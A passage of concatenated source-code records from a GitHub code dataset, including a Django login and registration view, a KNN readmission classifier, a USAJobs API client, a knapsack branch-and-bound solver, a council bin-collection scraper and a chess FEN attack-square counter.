super(FRMEdgeWeightInitializator, self).__init__(wllt=wllt)\n\n def _initialize_edge_weights(self) -> np.array:\n print(\"This method has NOT been implemented yet! It will probably take to much time for now.\")\n return self.frm_setting()\n\n############################################################################## \n##### MAIN ###################################################################\n##############################################################################\n\ndef main(dataset_name: str = \"MUTAG\", nr_new_layers: int = 11, ask_for_early_stopp: bool = True, print_info_and_plots_graphs: List[int] = None, edge_weight_mode: str = 'const'):\n dir_in, dir_out = get_wllt_dirin_dirout(dataset_name) \n \n # Construct and saved the WLLT to file.\n wllt = WLLT(ask_for_early_stopp)\n possible_meta_file = f\"{dir_out}/{c.FN_META_INFO}\"\n if exists(possible_meta_file): \n wllt.initialize_WLLT_from_existing_WLLT(dir_out=dir_out)\n else:\n wllt.initialize_WLLT_files_from_adj_lists(dir_in=dir_in, dataset_name=dataset_name) \n \n wllt.add_WLLT_layers(nr_new_layers=nr_new_layers) \n wllt.save_wllt_to_png(dir_out=dir_out)\n\n # Add edge weights.\n if edge_weight_mode == 'const':\n const_value = 1.0\n edge_weight_initializator = ConstantEdgeWeightInitializator(wllt=wllt, const_value=const_value)\n elif edge_weight_mode == 'layer_size':\n edge_weight_initializator = LayerBasedEdgeWeightInitializator(wllt=wllt)\n elif edge_weight_mode == 'exp':\n n = len(wllt.get_layer_starts_file_name())\n layer_weight_sums = [np.exp(x) for x in range(-n, 0)]\n edge_weight_initializator = LayerBasedEdgeWeightInitializator(wllt=wllt, layer_weight_sums=layer_weight_sums)\n else:\n edge_weight_initializator = ConstantEdgeWeightInitializator(wllt=wllt, const_value=1.0)\n print(edge_weight_initializator.get_edge_weights())\n\n if print_info_and_plots_graphs is not None:\n dir_graph_outs = f\"{dir_out}/Graph_informations\"\n for g_id in print_info_and_plots_graphs:\n wllt.get_graph_info_excel_str(g_id, save_to_file=True, dir_out_prefix=dir_graph_outs) \n\n LOG.info(\"WLLT Constructor terminated.\")\n\ndef parse_terminal_args() -> None:\n parser = argparse.ArgumentParser()\n parser.add_argument('-d',\n default=['MUTAG'],\n dest='dataset_names',\n help='Provide TU Dortmund dataset names.',\n type=str,\n nargs='+')\n parser.add_argument('-n',\n default=10,\n dest='nr_new_layers',\n help='Number of new WLLT layers.',\n type=int)\n parser.add_argument('-a',\n default=False,\n dest='ask_for_early_stopp',\n help='Shall the program ask for early stopping?',\n type=bool)\n args = parser.parse_args(sys.argv[1:])\n \n for dataset_name in args.dataset_names:\n main(dataset_name=dataset_name, nr_new_layers=args.nr_new_layers, ask_for_early_stopp=args.ask_for_early_stopp)\n\nif __name__ == \"__main__\":\n # Run in terminal as: python3 x2_wllt_constructor.py -d MUTAG -i 3 -e 100\n parse_terminal_args()","repo_name":"FabriceBeaumont/MA_INF_MasterThesis","sub_path":"0 Code/lWLLTLearner/x2_wllt_constructor.py","file_name":"x2_wllt_constructor.py","file_ext":"py","file_size_in_byte":65431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33056609267","text":"from django.shortcuts import render, redirect\nfrom .forms import RegistrationForm, updateForm\nfrom django.contrib import messages\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth import login, logout, authenticate\n\n\n\n# user registration herte\ndef register(request):\n form = RegistrationForm()\n if request.method =='POST':\n form = RegistrationForm(request.POST)\n if form.is_valid():\n messages.success(request, 'Account Created Succesfully')\n form.save()\n # print(form.cleaned_data) \n return redirect('home')\n else:\n form = RegistrationForm() \n return render(request, 'accounts/register.html',{'form':form})\n\n# user login here\ndef user_login(request): \n if request.method =='POST': \n form = AuthenticationForm(request=request, data=request.POST) \n if form.is_valid():\n name = form.cleaned_data['username']\n userpass = form.cleaned_data['password']\n user = authenticate(username=name, password=userpass)\n if user is not None:\n login(request,user) \n return redirect('home')\n else:\n form = AuthenticationForm()\n return render(request, 'accounts/login.html',{'form':form} )\n\n\n# user log out here\ndef user_logout(request):\n logout(request)\n return redirect('login')\n\n\n# user update his/her profile\ndef profile(request): \n if request.user.is_authenticated:\n if request.method == 'POST':\n form = updateForm(request.POST, instance = request.user)\n if form.is_valid():\n messages.success(request, 'Account Updated Succesfully')\n form.save()\n return redirect('home')\n else:\n form = updateForm(instance = request.user)\n return render(request, 'accounts/profile.html',{'form':form})\n \n else:\n return redirect('register')\n \n ","repo_name":"Arif-462/Django_TaskMinder","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27200204980","text":"import numpy as np\nimport pandas as pd\nimport csv\nimport sklearn\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nimport matplotlib.pyplot as plt\n\n\ndef get_data_as_list(filepath):\n \"\"\"\n Returns data from the given filepath in list form\n Parameters:\n - filepath: A path to the CSV file we are looking to analyze\n Returns:\n - data_list: Our CSV data in list form\n \"\"\"\n # Temporary holder for the data\n data_list = []\n with open(filepath, encoding=\"utf-8-sig\") as csvfile:\n datareader = csv.reader(csvfile, delimiter=\",\")\n for row in datareader:\n data_list.append(row)\n return data_list\n\n\ndef convert_to_numpy_array(data_list):\n \"\"\"\n Takes in data in list format, and returns the data processed into numpy arrays\n Parameters:\n - data_list: A list of data items\n Returns:\n - (classification_labels, data_array): A numpy array of classifications and the dataset with the labels remove\n \"\"\"\n # Retrieving a list of indices corresponding to attribute values\n header = data_list[0]\n attribute_to_col = {}\n for idx, item in enumerate(header):\n attribute_to_col[item] = idx\n # Converting the data_list to a numpy array\n data_array = np.array(data_list[1:], dtype=np.float32)\n readmitted_labels = data_array[:, attribute_to_col[\"readmitted\"]]\n # Removing unneeded columns from the dataset\n col_to_remove = []\n col_to_remove.append(attribute_to_col[\"ID\"])\n col_to_remove.append(attribute_to_col[\"readmitted\"])\n data_array = np.delete(data_array, col_to_remove, axis=1)\n # Only adding selected variables to the dataset\n # Returning the classification labels and the data_array\n return readmitted_labels, data_array\n\n\ndef KNN(train_data, train_labels, test_data, k):\n \"\"\"\n Classified each point in train_data according to the KNN algorithm\n Parameters:\n - train_data: A numpy array, where each row represents a datapoint in our \"training\" set\n - train_labels: A numpy array, where each element represents the label for readmission\n - test_data: A numpy array, where each row represents a datapoint that must be classified\n - k: A hyperparameter that determines how many of the closest neighbors to examine\n Returns:\n - predicted_labels: A vector of predictions for the test_data\n \"\"\"\n # Looping through each element in the array, getting the distances and classifications for each\n test_labels = np.zeros(test_data.shape[0])\n for i in range(test_data.shape[0]):\n dist_data = np.linalg.norm(train_data - test_data[i], axis=1)\n idx = np.argpartition(dist_data, k)[:k]\n # Retrieving the labels\n k_labels = train_labels[idx]\n # Getting the most common label\n (values, counts) = np.unique(k_labels, return_counts=True)\n ind = np.argmax(counts)\n label = values[ind]\n test_labels[i] = int(label)\n return test_labels\n\n\ndef train_test_split(data_array, data_labels):\n \"\"\"\n Splits the data into a training set and a testing set\n Parameters:\n - data_array: Array of the raw data values\n - data_labels: Array of the data labels\n Returns:\n - train_array: Array of the raw data values for the training set\n - train_labels: Array of the labels for the training set\n - test_array: Array of the raw data values for the testing set\n - test_labels: Array of the raw data labels for the testing set\n \"\"\"\n train_proportion = 0.8\n test_proportion = 0.2\n # Dataset descriptor variables\n num_elements = data_labels.shape[0]\n num_in_train = int(train_proportion * num_elements)\n # Shuffling the data_array and data_labels in the same manner\n shuffled_indices = np.random.permutation(data_array.shape[0])\n data_array = data_array[shuffled_indices]\n data_labels = data_labels[shuffled_indices]\n # Getting train and test datasets\n train_data = data_array[0:num_in_train]\n test_data = data_array[num_in_train:]\n train_labels = data_labels[0:num_in_train]\n test_labels = data_labels[num_in_train:]\n return train_data, train_labels, test_data, test_labels\n\n\ndef get_accuracy(predicted_labels, true_labels):\n num_elements = len(predicted_labels)\n correct_labels = predicted_labels == true_labels\n return np.sum(correct_labels) / num_elements\n\n\ndef main():\n data_list = get_data_as_list(\"../Data/Cleaned Data/one_hot_cleaned_data.csv\")\n data_labels, data_array = convert_to_numpy_array(data_list)\n # Normalizing the data for usage in the KNN algorithm\n scaler = StandardScaler()\n data_array_normalized = scaler.fit_transform(data_array)\n # List holders for accuracy and k values\n k_values = [1, 4, 7, 10, 13, 16, 19, 22]\n PCA_5 = []\n PCA_10 = []\n PCA_15 = []\n PCA_20 = []\n for i in range(5, 25, 5):\n # Dimensionality reduction\n pca = PCA(n_components=i)\n data_array_transformed = pca.fit_transform(X=data_array_normalized)\n # Getting the training and testing data\n train_data, train_labels, test_data, test_labels = train_test_split(\n data_array_transformed, data_labels\n )\n for j in range(1, 25, 3):\n print(j)\n predicted_labels = KNN(train_data, train_labels, test_data, k=j)\n if i == 5:\n PCA_5.append(get_accuracy(predicted_labels, test_labels))\n if i == 10:\n PCA_10.append(get_accuracy(predicted_labels, test_labels))\n if i == 15:\n PCA_15.append(get_accuracy(predicted_labels, test_labels))\n if i == 20:\n PCA_20.append(get_accuracy(predicted_labels, test_labels))\n # Plotting all 5 graphs together\n plt.plot(k_values, PCA_5, label=\"5 Components\")\n plt.plot(k_values, PCA_10, label=\"10 Components\")\n plt.plot(k_values, PCA_15, label=\"15 Components\")\n plt.plot(k_values, PCA_20, label=\"20 Components\")\n plt.title(\"Accuracy Analysis\")\n plt.xlabel(\"k-values\")\n plt.ylabel(\"accuracy\")\n plt.legend()\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"singhru27/Diabetes-Prediction","sub_path":"Python Scripts/KNN_Readmission_Classifier_vAllData.py","file_name":"KNN_Readmission_Classifier_vAllData.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27996089901","text":"from django.conf import settings\n\nfrom .data import RecursiveCollection\n\nimport time\nimport requests\nimport re\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass USAJobsException(Exception):\n pass\n\n\nclass USAJobsResponse(object):\n\n def __init__(self, response):\n self.response = response\n self.json = response.json()\n self._results = []\n\n\n @property\n def results(self):\n return self._results\n\n\n def _convert_keys(self, data):\n conversion = data\n\n if isinstance(data, (list, tuple)):\n conversion = []\n\n for value in data:\n conversion.append(self._convert_keys(value))\n\n elif isinstance(data, dict):\n conversion = {}\n\n for key, value in data.items():\n key = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', key)\n key = re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', key).lower()\n\n conversion[key] = self._convert_keys(value)\n\n return conversion\n\n\nclass USAJobsCodeListResponse(USAJobsResponse):\n\n def __init__(self, response):\n super().__init__(response)\n\n self._top = self.json.get('CodeList', [])\n if self._top:\n self._top = self._top[0].get('ValidValue', [])\n\n for result in self._top:\n self._results.append(RecursiveCollection(**self._convert_keys(result)))\n\n\nclass USAJobsSearchResponse(USAJobsResponse):\n\n def __init__(self, response):\n super().__init__(response)\n\n self._top = self.json.get('SearchResult', {})\n self._data = self._top.get('SearchResultItems', [])\n\n for result in self._data:\n job = result['MatchedObjectDescriptor']\n job['Id'] = result['MatchedObjectId']\n job['UserArea'] = job['UserArea']['Details']\n\n self._results.append(RecursiveCollection(**self._convert_keys(job)))\n\n @property\n def count(self):\n return len(self._data)\n\n @property\n def full_count(self):\n return self._top.get('SearchResultCountAll', 0)\n\n\nclass USAJobsAPI(object):\n\n BASE_URL = \"https://data.usajobs.gov\"\n\n\n def __init__(self, command, wait_time = 0.5):\n self.command = command\n self.wait_time = wait_time\n\n self.api_email = settings.USA_JOBS_API_EMAIL\n self.api_key = settings.USA_JOBS_API_KEY\n\n\n def codes(self, name):\n response = self._codelist(name)\n for result in response.results:\n yield result\n\n def _codelist(self, name):\n self.command.info(\"Querying USA Jobs codes for: {}\".format(name))\n response = requests.get(\"{}/api/codelist/{}\".format(self.BASE_URL, name))\n logger.debug(response.url)\n\n if response.status_code != 200:\n raise USAJobsException(\"USA Jobs CodeList API returned status code: {}\".format(response.status_code))\n\n return USAJobsCodeListResponse(response)\n\n\n def search(self,\n params = None,\n page_count = 500,\n start_page = 1,\n next_callback = None,\n complete_callback = None\n ):\n response = None\n next_page = start_page\n\n if not params:\n params = {}\n\n for name, value in params.items():\n if isinstance(value, (list, tuple)):\n params[name] = \";\".join(value)\n\n while response is None or response.count == page_count:\n response = self._search(params, page_count, next_page)\n\n for result in response.results:\n yield result\n\n next_page += 1\n if next_callback and callable(next_callback):\n next_callback(next_page)\n\n time.sleep(self.wait_time)\n\n if complete_callback and callable(complete_callback):\n complete_callback()\n\n\n def _search(self, params, page_count, page):\n if not self.api_email or not self.api_key:\n raise USAJobsException('Environment variables ZIMAGI_USA_JOBS_API_EMAIL and ZIMAGI_USA_JOBS_API_KEY required with your credentials')\n\n params['ResultsPerPage'] = page_count\n params['Page'] = page\n\n self.command.info(\"Searching USA Jobs with search parameters: {}\".format(params))\n response = requests.get(\"{}/api/search\".format(self.BASE_URL), params = params, headers = {\n \"Host\": \"data.usajobs.gov\",\n \"User-Agent\": self.api_email,\n \"Authorization-Key\": self.api_key,\n })\n logger.debug(response.url)\n\n if response.status_code != 200:\n raise USAJobsException(\"USA Jobs Search API returned status code: {}\".format(response.status_code))\n\n return USAJobsSearchResponse(response)\n","repo_name":"Polydelta-ai/zimagi-usa-jobs","sub_path":"utility/usa_jobs_api.py","file_name":"usa_jobs_api.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70115773228","text":"import numpy as np\nimport pandas as pd\nfrom numpy.linalg import norm\nimport os\nimport re\nfrom covid19_spread.lib import cluster\nfrom subprocess import check_call\nfrom covid19_spread import metrics\nfrom datetime import timedelta\n\n\ndef mk_absolute_paths(cfg):\n if isinstance(cfg, dict):\n return {k: mk_absolute_paths(v) for k, v in cfg.items()}\n elif isinstance(cfg, list):\n return list(map(mk_absolute_paths, cfg))\n else:\n return (\n os.path.realpath(cfg)\n if isinstance(cfg, str) and os.path.exists(cfg)\n else cfg\n )\n\n\ndef rebase_forecast_deltas(val_in, df_forecast_deltas):\n gt = metrics.load_ground_truth(val_in)\n # Ground truth for the day before our first forecast\n prev_day = gt.loc[[df_forecast_deltas.index.min() - timedelta(days=1)]]\n # Stack the first day ground truth on top of the forecasts\n common_cols = set(df_forecast_deltas.columns).intersection(set(gt.columns))\n stacked = pd.concat([prev_day[common_cols], df_forecast_deltas[common_cols]])\n # Cumulative sum to compute total cases for the forecasts\n df_forecast = stacked.sort_index().cumsum().iloc[1:]\n return df_forecast\n\n\ndef update_repo(repo, no_pull=False):\n user = cluster.USER\n match = re.search(r\"([^(\\/|:)]+)/([^(\\/|:)]+)\\.git\", repo)\n name = f\"{match.group(1)}_{match.group(2)}\"\n data_pth = f\"{cluster.FS}/{user}/covid19/data/{name}\"\n if not os.path.exists(data_pth):\n check_call([\"git\", \"clone\", repo, data_pth])\n if not no_pull:\n check_call([\"git\", \"checkout\", \"master\"], cwd=data_pth)\n check_call([\"git\", \"pull\"], cwd=data_pth)\n return data_pth\n\n\ndef drop_k_days_csv(dset, outfile, days):\n df = pd.read_csv(dset, index_col=\"region\")\n if days > 0:\n df = df[sorted(df.columns)[:-days]]\n df = drop_all_zero_csv(df)\n df.to_csv(outfile)\n\n\ndef drop_all_zero_csv(df):\n counts = df.sum(axis=1)\n df = df[counts > 0]\n return df\n\n\ndef smooth_csv(indset: str, outdset: str, days: int):\n df = pd.read_csv(indset, index_col=\"region\").transpose()\n incident_cases = df.diff()\n smooth = np.round(incident_cases.rolling(window=days, min_periods=1).mean())\n smooth.iloc[0] = df.iloc[0]\n smooth.cumsum(0).transpose().to_csv(outdset)\n\n\nsmooth = smooth_csv\n\n\ndef print_model_stats(mus, beta, S, U, V, A):\n C = A - np.diag(np.diag(A))\n print(\"beta =\", beta)\n print(f\"\\nNorms : U = {norm(U).item():.3f}, V = {norm(V):.3f}\")\n print(f\"Max Element: U = {np.max(U).item():.3f}, V = {np.max(V):.3f}\")\n print(f\"Avg Element: U = {np.mean(U).item():.3f}, V = {np.mean(V):.3f}\")\n print(f\"\\nSelf: max = {np.max(S):.3f}, avg = {np.mean(S):.3f}\")\n print(f\"Cross: max = {np.max(C):.3f}, avg = {np.mean(C):.3f}\")\n\n\ndef standardize_county_name(county):\n return (\n county.replace(\" County\", \"\")\n .replace(\" Parish\", \"\")\n .replace(\" Municipality\", \"\")\n .replace(\" Municipality\", \"\")\n .replace(\" Borough\", \"\")\n )\n","repo_name":"facebookresearch/covid19_spread","sub_path":"covid19_spread/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"69931497387","text":"from knapsack.problem import KnapsackProblem, KnapsackSolution\nfrom copy import deepcopy\n\nfrom queue import Queue\n\n\ndef upper_bound(problem, partial_solution):\n \"\"\"\n Find an upper bound on a partial solution by\n solving relaxation problem from it\n \"\"\"\n k = partial_solution.level_index\n profit = partial_solution.profit\n residual_capacity = partial_solution.residual_capacity\n\n for item in problem.items:\n residual_capacity -= item.weight\n if residual_capacity >= 0:\n # take the item\n profit += item.price\n else:\n # take as big part of the item as possible\n profit += item.price * ((item.weight + residual_capacity) / item.weight)\n break\n\n return profit\n\n\ndef branch_and_bound(problem):\n best_solution = KnapsackSolution(problem.number_of_items,\n knapsack_capacity=problem.capacity)\n solutions_queue = Queue()\n solutions_queue.put(best_solution)\n\n comparisons = 0\n\n while not solutions_queue.empty():\n current_solution = solutions_queue.get()\n # index of the last added (or not) element from [0, n] range\n index = current_solution.level_index\n\n comparisons += 1\n\n if current_solution.profit > best_solution.profit:\n # update best solution if needed\n best_solution = deepcopy(current_solution)\n\n if index != problem.number_of_items:\n profit_upper_bound = (upper_bound(problem, current_solution))\n\n if profit_upper_bound >= best_solution.profit:\n # if the partial solution can possibly result in a better solution\n\n # add (current solution + x_index as not taken) in the queue\n new_solution_lhs = deepcopy(current_solution)\n new_solution_lhs.level_index = index + 1\n solutions_queue.put(new_solution_lhs)\n\n # add (current solution + x_index as taken) in the queue\n new_solution_rhs = deepcopy(current_solution)\n has_inserted = new_solution_rhs.take_item(index, problem.items[index])\n if has_inserted:\n # do not add if the solution's weight exceeds available capacity\n new_solution_rhs.level_index = index + 1\n solutions_queue.put(new_solution_rhs)\n\n best_solution.counter_of_comparisons = comparisons\n return best_solution\n","repo_name":"pazamelin/ORA_labs","sub_path":"lab2/knapsack/branch_and_bound.py","file_name":"branch_and_bound.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8060556294","text":"def leiadinheiro(a='Digite um valor:'):\n while True:\n n1 = str(input(f'{a} ')).replace(',', '.')\n n2 = n1.isalpha()\n if n1.isalpha() or n1 == '':\n print(f'\\033[31;1mERRO!, \"{n1}\" é um valor invalido.\\033[m ')\n else:\n n1 = float(n1)\n break\n return n1\n","repo_name":"Rachidomar1523/pythonExercicios","sub_path":"modulos e pacotes/utilidadescev/dados/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74146142828","text":"import logging\nfrom datetime import datetime\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom waste_collection_schedule import Collection # type: ignore[attr-defined]\n\nTITLE = \"Manchester City Council\"\nDESCRIPTION = \"Source for bin collection services for Manchester City Council, UK.\"\nURL = \"https://www.manchester.gov.uk\"\nTEST_CASES = {\n \"domestic\": {\"uprn\": \"000077065560\"},\n \"large_domestic\": {\"uprn\": 77116538},\n}\n\nAPI_URL = \"https://www.manchester.gov.uk/bincollections/\"\nICON_MAP = {\n \"Black / Grey Bin\": \"mdi:trash-can\",\n \"Blue Bin\": \"mdi:recycle\",\n \"Brown Bin\": \"mdi:glass-fragile\",\n \"Green Bin\": \"mdi:leaf\",\n \"Large Blue Container\": \"mdi:recycle\",\n \"Large Brown Container\": \"mdi:glass-fragile\",\n \"Large Domestic Waste Container\": \"mdi:trash-can\",\n}\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass Source:\n def __init__(self, uprn: int):\n self._uprn = str(uprn).zfill(12)\n\n def fetch(self):\n entries = []\n\n r = requests.post(\n API_URL,\n data={\"mcc_bin_dates_uprn\": self._uprn, \"mcc_bin_dates_submit\": \"Go\"},\n )\n\n soup = BeautifulSoup(r.text, features=\"html.parser\")\n results = soup.find_all(\"div\", {\"class\": \"collection\"})\n\n for result in results:\n date = result.find(\"p\", {\"class\": \"caption\"})\n dates = []\n dates.append(str(date.text).replace(\"Next collection \", \"\", 1))\n for date in result.find_all(\"li\"):\n dates.append(date.text)\n h3_tag = result.find(\"h3\")\n collection_type = h3_tag.text.replace(\"DUE TODAY\", \"\").strip()\n for current_date in dates:\n date = datetime.strptime(current_date, \"%A %d %b %Y\").date()\n entries.append(\n Collection(\n date=date,\n t=collection_type,\n icon=ICON_MAP.get(collection_type),\n )\n )\n\n return entries\n","repo_name":"mampfes/hacs_waste_collection_schedule","sub_path":"custom_components/waste_collection_schedule/waste_collection_schedule/source/manchester_uk.py","file_name":"manchester_uk.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"37"} +{"seq_id":"9416975278","text":"#!/usr/bin/python3\n\ndef matrix_divided(matrix, div):\n \"\"\"\n Divides all elements of a matrix by a given divisor.\n\n Args:\n matrix (list[list[int or float]]): A matrix to be divided.\n div (int or float): The divisor to divide the matrix elements by.\n\n Returns:\n new_matrix\n \"\"\"\n\n check_matrix(matrix)\n check_same_row_size(matrix)\n check_div(div)\n new_matrix = div_matrix(matrix, div)\n return new_matrix\n\n\ndef check_matrix(matrix):\n \"\"\"\n Check if the input matrix is a list of lists of integers or floats.\n\n Args:\n matrix (list[list[int or float]]): A matrix to be checked.\n\n Raises:\n TypeError: if the input matrix is not a list of lists of integers or floats.\n \"\"\"\n\n if not isinstance(matrix, list) or not all(\n isinstance(row, list) and all(\n isinstance(element, (int, float)) for element in row\n ) for row in matrix\n ):\n raise TypeError(\"Matrix must be a list of lists of integers or floats\")\n\n\ndef check_same_row_size(matrix):\n \"\"\"\n Check if each row of the input matrix has the same size.\n\n Args:\n matrix (list[list[int or float]]): A matrix to be checked.\n\n Raises:\n TypeError: if any row of the input matrix has a different size than the others.\n \"\"\"\n\n row_size = len(matrix[0])\n if any(len(row) != row_size for row in matrix):\n raise TypeError(\"Each row of the matrix must have the same size\")\n\n\ndef check_div(div):\n \"\"\"\n Check if the `div` parameter is a number and not 0.\n\n Args:\n div (int or float): The divisor to be checked.\n\n Raises:\n TypeError: if `div` is not a number\n ZeroDivisionError: if `div` is 0\n \"\"\"\n\n if not isinstance(div, (float, int)):\n raise TypeError(\"div must be a number\")\n if div == 0:\n raise ZeroDivisionError(\"division by zero\")\n\n\ndef div_matrix(matrix, div):\n \"\"\"\n Divide all elements of a matrix by a given divisor and round to two decimal places.\n\n Args:\n matrix (list[list[int or float]]): A matrix to be divided.\n div (int or float): The divisor to divide the matrix elements by.\n\n Returns:\n A new matrix where each element is divided by the divisor and rounded to two decimal places.\n \"\"\"\n\n rows = len(matrix)\n cols = len(matrix[0])\n return [[round(matrix[i][j] / div, 2) for j in range(cols)] for i in range(rows)]\n","repo_name":"hmwatoki/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1422601943","text":"board = [['0' for _ in range(8)] for _ in range(8)]\n\ndef print_board():\n for ele in board:\n print(ele)\n\ndef clean_board():\n global board\n board = [['0' for _ in range(8)] for _ in range(8)]\n\ndef creating_board(fen):\n rows = fen.split(\"/\")\n for i in range(8):\n board_pos = 0\n for ele in rows[i]:\n if ele.isdigit():\n board_pos += int(ele)\n else:\n board[i][board_pos] = ele\n board_pos += 1\n\ndef counting_spaces():\n count = 0\n for ele in board:\n for ele2 in ele:\n if ele2 == '0':\n count += 1\n print(count)\n\ndef mark_knights(i, j):\n #Up\n if i-2 >= 0 and j-1 >= 0:\n if board[i-2][j-1] == '0':\n board[i-2][j-1] = 'X'\n if i-2 >= 0 and j+1 < 8:\n if board[i-2][j+1] == '0':\n board[i-2][j+1] = 'X'\n #Down\n if i+2 < 8 and j-1 >= 0:\n if board[i+2][j-1] == '0':\n board[i+2][j-1] = 'X'\n if i+2 < 8 and j+1 < 8:\n if board[i+2][j+1] == '0':\n board[i+2][j+1] = 'X'\n #Left\n if j+2 < 8 and i-1 >= 0:\n if board[i-1][j+2] == '0':\n board[i-1][j+2] = 'X'\n if j+2 < 8 and i+1 < 8:\n if board[i+1][j+2] == '0':\n board[i+1][j+2] = 'X'\n #Right\n if j-2 >= 0 and i-1 >= 0:\n if board[i-1][j-2] == '0':\n board[i-1][j-2] = 'X'\n if j-2 >= 0 and i+1 < 8:\n if board[i+1][j-2] == '0':\n board[i+1][j-2] = 'X'\n\ndef mark_bishop(i, j):\n #Left-Up\n pos_i = i - 1\n pos_j = j - 1\n while (pos_i >= 0 and pos_j >= 0):\n if board[pos_i][pos_j] == \"0\":\n board[pos_i][pos_j] = \"X\"\n elif board[pos_i][pos_j] == \"X\":\n pass\n else:\n break\n pos_i -= 1\n pos_j -= 1\n #Left-Down\n pos_i = i + 1\n pos_j = j - 1\n while (pos_i < 8 and pos_j >= 0):\n if board[pos_i][pos_j] == '0':\n board[pos_i][pos_j] = 'X'\n elif board[pos_i][pos_j] == 'X':\n pass\n else:\n break\n pos_i += 1\n pos_j -= 1\n #Right-Up\n pos_i = i - 1\n pos_j = j + 1\n while (pos_i >= 0 and pos_j < 8):\n if board[pos_i][pos_j] == '0':\n board[pos_i][pos_j] = 'X'\n elif board[pos_i][pos_j] == 'X':\n pass\n else:\n break\n pos_i -= 1\n pos_j += 1\n #Right-Down\n pos_i = i + 1\n pos_j = j + 1\n while (pos_i < 8 and pos_j < 8):\n if board[pos_i][pos_j] == '0':\n board[pos_i][pos_j] = 'X'\n elif board[pos_i][pos_j] == 'X':\n pass\n else:\n break\n pos_i += 1\n pos_j += 1\n\ndef mark_rook(i, j):\n #UP\n pos_i = i - 1\n while(pos_i >= 0):\n if board[pos_i][j] == '0':\n board[pos_i][j] = 'X'\n elif board[pos_i][j] == 'X':\n pass\n else:\n break\n pos_i -= 1\n #Down\n pos_i = i + 1\n while(pos_i < 8):\n if board[pos_i][j] == '0':\n board[pos_i][j] = 'X'\n elif board[pos_i][j] == 'X':\n pass\n else:\n break\n pos_i += 1\n #Right\n pos_j = j + 1\n while(pos_j < 8):\n if board[i][pos_j] == '0':\n board[i][pos_j] = 'X'\n elif board[i][pos_j] == 'X':\n pass\n else:\n break\n pos_j += 1\n #Left\n pos_j = j - 1\n while(pos_j >= 0):\n if board[i][pos_j] == '0':\n board[i][pos_j] = 'X'\n elif board[i][pos_j] == 'X':\n pass\n else:\n break\n pos_j -= 1\n\ndef mark_king(i, j):\n #Up-Left\n if i-1 >= 0 and j-1 >= 0:\n if board[i-1][j-1] == '0':\n board[i-1][j-1] = 'X'\n #Up\n if i-1 >= 0:\n if board[i-1][j] == '0':\n board[i-1][j] = 'X'\n #Up-Right\n if i-1 >= 0 and j+1 < 8:\n if board[i-1][j+1] == '0':\n board[i-1][j+1] = 'X'\n #Right\n if j+1 < 8:\n if board[i][j+1] == '0':\n board[i][j+1] = 'X'\n #Down-Right\n if i+1 < 8 and j+1 < 8:\n if board[i+1][j+1] == '0':\n board[i+1][j+1] = 'X'\n #Down\n if i+1 < 8:\n if board[i+1][j] == '0':\n board[i+1][j] = 'X'\n #Down-Left\n if i+1 < 8 and j-1 >= 0:\n if board[i+1][j-1] == '0':\n board[i+1][j-1] = 'X'\n #Left\n if j-1 >= 0:\n if board[i][j-1] == '0':\n board[i][j-1] = 'X'\n\ndef marking_movements():\n for i in range(8):\n for j in range(8):\n #Black pawn\n if board[i][j] == 'p':\n if j+1 < 8 and i+1 < 8:\n if board[i+1][j+1] == '0':\n board[i+1][j+1] = 'X'\n if j-1 >= 0 and i+1 < 8:\n if board[i+1][j-1] == '0':\n board[i+1][j-1] = 'X'\n #White pawn\n elif board[i][j] == 'P':\n if j-1 >= 0 and i-1 >= 0:\n if board[i-1][j-1] == '0':\n board[i-1][j-1] = 'X'\n if j+1 < 8 and i-1 >= 0:\n if board[i-1][j+1] == '0':\n board[i-1][j+1] = 'X'\n #Knights\n elif board[i][j] == 'N' or board[i][j] == 'n':\n mark_knights(i, j)\n #Bishop\n elif board[i][j] == 'B' or board[i][j] == 'b':\n mark_bishop(i, j)\n #Rook\n elif board[i][j] == 'R' or board[i][j] == 'r':\n mark_rook(i, j)\n #Queen\n elif board[i][j] == 'Q' or board[i][j] == 'q':\n mark_bishop(i, j)\n mark_rook(i, j)\n #King\n elif board[i][j] == 'K' or board[i][j] == 'k':\n mark_king(i, j)\n\n\ndef main():\n try:\n while True:\n fen = input()\n creating_board(fen)\n marking_movements()\n #print_board()\n counting_spaces()\n clean_board()\n except EOFError as e:\n pass\n\nif __name__ == \"__main__\":\n main()","repo_name":"ServioTRC/Competitive-Programming","sub_path":"Introduction/Game - Chess/UVa 10284 - Chessboard in FEN.py","file_name":"UVa 10284 - Chessboard in FEN.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14240987248","text":"# import matplotlib.pyplot as plt\nimport numpy as np\nfrom 